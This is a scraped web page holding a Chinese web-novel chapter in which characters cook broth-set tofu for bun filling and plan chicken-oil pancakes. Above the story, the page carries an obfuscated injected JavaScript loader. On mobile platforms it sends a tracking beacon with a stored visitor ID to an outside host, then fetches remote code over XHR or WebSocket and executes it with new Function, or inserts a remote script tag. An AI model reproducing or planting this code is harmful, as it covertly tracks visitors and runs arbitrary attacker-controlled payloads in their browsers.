第534章 鸡油筋饼(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
鸡油据说是没啥营养,但是用鸡油来烙饼,味道是真的香。
高原不假思索地点头,“行,明天不去外面吃了。”
鸡汤彻底撇清之后,就将清洗好的豆子倒入泡发。
这个时间段要持续几个小时,索性就泡上一晚上。
另一边的高汤里,各种食材都捞出,高汤也澄清。
但是无需用鸡肉蓉进一步提清汤色,因为汤色不影响他们接下来的操作。
猪皮已经煮熟去掉油脂,并且改刀成细条。
猪皮的作用主要是用来增加汤中的胶原蛋白,让汤能凝固。
一块块已经被两人切成最合适的大小放入锅中一起煮。
小火慢煮,直到入味。
入味之后,也不是直接就能包包子。
此时的豆腐已经软嫩到了一定的程度,需要装入固定的模子里,等待冷凝成冻。
因为模子需要定制,所以他们这一次征用了张云云夏天用来冻冰块的小格子,许诺给她买新的才抢过来。
张云云看着两人在一个格子里放一块豆腐丁,然后还注入汤汁,小心翼翼的样子,简直像是在做科学实验。
“我还没见过这样的包子馅,会好吃么?”
“尝尝!”白叶将最后一格子豆腐放好,将剩下不足一盒的豆腐盛了三个小碗。
其实锅里还有不少的汤呢。
张云云接过其中一碗来,吃了一口。
咸淡适中,豆腐嫩的入口即化,里面蕴满了肉香味。
“这简直和吃肉一样啊。”张云云惊讶道。
“那是,这高汤可不一般。”高原说道,几口将豆腐吃掉,“剩下的汤你要什么?”
“我再调味一下,做成肉皮冻,明天就能吃。”白叶忙得头也顾不得回。
“那好啊。”高原高兴,之前在沪市的时候白叶做过肉皮冻,味道是很好的。
白叶这边忙完了之后,跟着高原惯例出去泡澡,回来睡梦中努力学习。
因为今天要自己做早饭,白叶早起之后跑了步就回来了,而没有扎马步和练拳。
葛老爷子也跟着他过来了,看到他忙活,就在院子里自己练拳。笔趣阁